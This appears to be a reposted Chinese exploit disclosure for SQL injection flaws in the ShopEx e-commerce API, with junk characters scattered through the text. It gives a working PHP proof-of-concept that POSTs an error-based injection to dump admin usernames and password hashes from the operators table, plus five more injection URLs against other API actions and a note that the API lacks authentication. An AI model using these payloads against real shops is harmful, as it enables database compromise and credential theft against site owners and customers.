|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
6 K+ y C" u- P0 g5 o9 |+ Bcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
5 f& [& e: L1 T+ N7 d% J3 p
/ P t$ E6 W1 D4 v- a2 \& E第44行 $data['columns'] 未做过滤导致注入" k2 G" U0 ]3 A7 M% I
- R( [" ] z& p<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
H! F) }8 G% \* l& F& W3 Z7 ?* e9 j7 f
注射1:1 a! ?' \, ` b. h
: q& [- `) V; w/ {6 s; `$ c7 uhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#' v0 `4 y7 ?. v7 ]* \/ c
$ p$ L# q6 N) |( n
注射2:5 \# C3 g: f! e. V' P) |+ K
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}3 `1 Y6 V" y3 ^
8 _( s4 h Q& }) w' q注射3:" P( j- y. G+ e4 Z( w) R- B
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx" o% V: x& |; d% M3 ~
注射4:
/ H0 v- |( {* l' |2 R- ?. B3 V$ m6 T1 n' {) I) S3 {
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
6 M3 @7 o7 s) T' `/ A5 V* O
/ p3 c5 `) s" X" e. [7 b ^. F$ O( h1 P, U
注射5:
0 k3 p" X, m5 ^9 R http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
% r9 I! F2 L7 ?: C6 s# U# D$ p8 C _. u @' K
. V5 I* k6 w! @" m, _* R2 f e u, j- W, m/ F$ N% {9 r/ A. w+ ]
0 G7 {( j( g9 R3 u% I
2 R9 r' f$ }9 [8 g$ a0 r( v( |1 d5 N- Q
. Z3 F& C6 q7 H# M' F$ i6 R8 @. F |
|